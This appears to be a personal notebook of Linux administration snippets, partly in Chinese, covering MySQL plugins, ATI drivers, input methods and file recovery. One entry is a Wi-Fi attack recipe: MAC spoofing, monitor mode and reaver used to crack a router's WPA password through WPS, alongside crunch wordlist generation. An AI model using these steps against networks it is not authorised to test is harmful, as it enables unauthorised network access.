about:config
javascript.enabled => false
permissions.default.image => 2
Reference :
How to disable graphics and/or java in Firefox 23.0.1 | Firefox Support Forum | Mozilla Support
about:config
javascript.enabled => false
permissions.default.image => 2
# apt-get install hostapd
# hostapd /etc/hostapd/hostapd.conf
or
# hostapd ~/hostapd-test.conf
Reference :
str = '111111 222222 333333'
arr = str.split()
print arr
['111111', '222222', '333333']
# shortcuts are specified as [modifier+][modifier+]...key# available modifiers are 'ctrl', 'mod1' (the alt-key), 'mod2', 'mod3'# and 'mod4' (windows-key)# xev might be helpful to find names for keysReference :
# pip install chromium_compact_language_detector
$ vi ~/.xinitrc
dunst &
exec /usr/local/bin/qtile
Debian :
$ mkdir ~/.config/dunst/
$ zcat /usr/share/doc/dunst/dunstrc.example.gz >> ~/.config/dunst/dunstrc
Arch :
$ cp /usr/share/dunstrc ~/.config/dunst/dunstrc
Reference :
dunst - a dmenu-ish notification daemon (Page 10) / Community Contributions / Arch Linux Forums
import urllib import json line = 10 row = 500 for i in range(0, row): fake_text = '' url = urllib.urlopen('http://more.handlino.com/sentences.json?n=%s' % line) result = url.read() sentences_lists = json.loads(result) fake_text = ''.join(sentences_lists['sentences']) print fake_text print len(fake_text)
a = ['hello', 'good', 'morning']
print ' '.join(a)
# apt-get install build-essential automake libtool libmysqlclient-dev git-core
$ git clone https://github.com/y-ken/mysqlftppc-bigram
$ cd mysqlftppc-bigram
$ aclocal$ libtoolize --automake$ automake --add-missing$ automake$ autoconf$ ./configure$ make# make install
$ mysql -uroot -p -e "INSTALL PLUGIN mecab SONAME 'libftmecab.so';"
// 安裝所需套件
# apt-get install build-essential automake libtool libmysqlclient-dev libmecab-dev libicu-dev mecab libicu48 libicu-dev
// 下載 mysqlftppc-mecab
$ git clone https://github.com/y-ken/mysqlftppc-mecab.git
$ cd mysqlftppc-mecab
// 檢查系統設定、編譯、安裝
$ aclocal
$ libtoolize --automake
$ automake --add-missing
$ automake
$ autoconf
$ ./configure
$ make
# make install
// 在 MySQL 新增插件
$ mysql -uroot -p -e "INSTALL PLUGIN mecab SONAME 'libftmecab.so';"
$ mysql -u root -p
mysql> show plugins;
mysql> SHOW STATUS LIKE "Mecab_info";
+---------------+-------------------------------+
| Variable_name | Value |
+---------------+-------------------------------+
| Mecab_info | with mecab 0.996, without ICU |
+---------------+-------------------------------+
mysql> SHOW VARIABLES LIKE "mecab%";
+---------------+-------+
| Variable_name | Value |
+---------------+-------+
| mecab_dicdir | |
| mecab_userdic | |
+---------------+-------+
// 設定 mecab
$ mecab --dump-config | grep dicdir
/var/lib/mecab/dic/debian
# vi /etc/mysql/my.cnf
[mysqld]
# mysqlftppc
mecab_dicdir = /var/lib/mecab/dic/debian
# /etc/init.d/mysql restart
// 可執行測試
$ cd test
$ sh test.sh
ok
// 建立或轉換資料表支援 mecab parser
http://a0726h77.blogspot.tw/2013/10/mysql-create-full-text-search-table.html
// 建立新資料表 CREATE TABLE t ( doc CHAR(255), FULLTEXT INDEX (doc) WITH PARSER my_parser ) ENGINE=MyISAM;
// 修改現有資料表將欄位加入全文檢索 ALTER TABLE t ADD FULLTEXT INDEX (doc) WITH PARSER my_parser;
$ crunch 4 4 1234 -o numbers.txt// split
$ crunch 8 8 0123456789ABCDEF -b 2gb -o START # 2gb per file// with specific pattern
$ crunch 6 6 0123456789 -c 200000 -o START # 200000 lines
$ crunch 4 4 1234 -t @11@// use pre-define charset
1111
1112
1113
1114
2111
2112
2113
2114
3111
3112
3113
3114
4111
4112
4113
4114
$ crunch 6 6 -f charset.lst ualpha// string permutations
$ crunch 1 1 -p abc// stop when specifies string
abc
acb
bac
bca
cab
cba
$ crunch 4 4 1234 -e 4411
# ifconfig wlan0 down// put wireless device into monitor mode
# ifconfig wlan0 hw ether (fack mac)
or
# macchanger -r wlan0
# ifconfig wlan0 up
# airmon-ng start wlan0// find out if the AP you are attacking usese WPS (vulnerable to Reaver)
# wash -i mon0// find the BSSID of the router you want to crack
# airodump-ng wlan0// crack the network's WPA password
# reaver -i mon0 -b [bssid] -vv --mac=(fack name)
$ tar xf fcitx-4.2.8.3.tar.xz
$ cd fcitx-4.2.8.3
$ mkdir build
$ cd build
$ cmake .. -DCMAKE_INSTALL_PREFIX=/home/yan/fcitx
$ make
# make install
Reference :
14.2. 安装
Index of /fcitx
$ git clone git@github.com:fcitx/fcitx-googlepinyin.git
$ mkdir build; cd build
$ cmake .. -DCMAKE_INSTALL_PREFIX=/home/yan/fcitx-googlepinyin
$ export PKG_CONFIG_PATH=$PKG_CONFIG_PATH:/home/yan/fcitx/lib/pkgconfig/
$ make
# make install
# extundelete --restore-directory home/ /dev/sda1
// 列出 superblock 位址 # dumpe2fs /dev/sda2 | grep superblock // 使用 superblock 修復檔案系統
#
fsck
-b 32768 /dev/sda1
# mount sb=32768 /dev/sda2 /mnt
var treeData = {"name" : "首頁", "info" : "tst", "size": 3938, "url": "/", "children" : [
{"name" : "佈告欄", "size": 3938, "url": "/bulletin"},
{"name" : "課程公告", "size": 3938, "url": "/course"},
{"name" : "會議資訊", "size": 3938, "url": "/meeting"},
{"name" : "檢定考試", "size": 3938, "url": "/certified"},
]};
// 將 node 加入 a 標籤,並取用 url 屬性內容 node.append("svg:a").attr("xlink:href", function(d) { return d.url; }) .append("svg:text").text(function(d) { return d.name; });
$ unzip -O cp936
$ LC_ALL=C 7z x QQQQ.zip -oQQQQ
$ convmv -f cp936 -t utf8 -r --notest -- QQQQ/*
mysql> CREATE TABLE table_2 LIKE table_1;
mysql> INSERT INTO table_2 SELECT * FROM table_1;
mysql> INSERT INTO table1 ( column1 ) SELECT col1 FROM table2
# (echo status ; sleep 0.1) | netcat 127.0.0.1 4730
$ xbindkeys -d > ~/.xbindkeysrc
$ xbindkeys --key
$ xbindkeys --multikey
--- Press "q" to stop. ---
$ vi .xinitrc
nohup xbindkeys &
#Muter/UnMute
"amixer set "Master" toggle"
m:0x0 + c:121
XF86AudioMute
#VolumeDown
"amixer set Master playback 5%-"
m:0x0 + c:122
XF86AudioLowerVolume
#VolumeUp
"amixer set Master playback 5%+"
m:0x0 + c:123
XF86AudioRaiseVolume
vi /etc/sysconfig/iptables
-A RH-Firewall-1-INPUT -m state --state NEW -m tcp -p tcp --dport 3306 -j ACCEPT
$ xgamma -gamma .7
bmark -title="解决ubuntu无法调整和保存屏幕亮度的问题【已验证可行】 - u011364476的专栏 - 博客频道 - CSDN.NET" http://blog.csdn.net/u011364476/article/details/9527201
GRUB_CMDLINE_LINUX="acpi_osi= acpi_backlight=intel"
# sh /usr/share/ati//fglrx-uninstall.sh
# apt-get purge fglrx*
# apt-get purge xserver-xorg-video-ati xserver-xorg-video-radeon
# lspci -v | grep VGA
# apt-get install xserver-xorg-video-ati # which installs xserver-xorg-video-radeon by dependency.
# apt-get install --reinstall libgl1-mesa-glx libgl1-mesa-dri xserver-xorg-core #
libgl1-mesa-dri will automatically be installed as a dependency of the xserver-xorg-core# dpkg-reconfigure xserver-xorg
檢視存取日期 |
SearchMyFiles |
1. cmd
> fsutil behavior set disablelastaccess 02. 重開機
// 移除 fglrx 模組
# sh /usr/share/ati/fglrx-uninstall.sh
// 移除所有 fglrx 相關工具及檔案
# apt-get remove --purge fglrx fglrx_* fglrx-amdcccle* fglrx-dev*
// 移除 xserver 設定
# cp /etc/X11/xorg.conf /etc/X11/xorg.conf.bak
# /etc/X11/xorg.conf
// 重新安裝 xorg
# apt-get install --reinstall libgl1-mesa-glx:i386 libgl1-mesa-glx:amd64 libgl1-mesa-dri:i386 libgl1-mesa-dri:amd64 xserver-xorg-core
# dpkg-reconfigure xserver-xorg
# reboot
# lspci -v | grep VGA
http://support.amd.com/us/gpudownload/Pages/index.aspx
// 如果記憶體夠大可直接在裏面跑
# mount -t tmpfs none /tmp -o size=2000M,remount
# cp amd-catalyst-13.8-beta2-linux-x86.x86_64.run /tmp/
# cd /tmp/
# chmod 755 amd-catalyst-13.8-beta2-linux-x86.x86_64.run
// 解開安裝檔 (需要修改某些東西)
# ./amd-catalyst-13.8-beta2-linux-x86.x86_64.run --extract fglrx-13.8
# cd fglrx-13.8/
// 建立編譯檔案連結, directory of Debian/testing is x710 (packages/Debian/ati-packager.sh line 67)
# ln -s xpic x710
// 將缺少的函式庫放進去
# cp arch/x86/usr/lib/libatiuki.so.1.0 x710/usr/X11R6/lib/
# ln -s arch/x86/usr/lib/libatiuki.so.1.0 x710/usr/X11R6/lib/libatiuki.so.1
// 建立 debian 安裝包, build 完 .deb 檔案會在上一層資料夾
# ./ati-installer.sh 13.8 --buildpkg Debian/testing
// 安裝套件
# cd ../
# dpkg-divert --rename --remove /usr/lib/libGL.so.1
# dpkg-divert --rename --remove /usr/lib/libGL.so.1.2
# dpkg-i fglrx*.deb--force-overwrite
// 如果有套件相依性問題
# apt-get install -f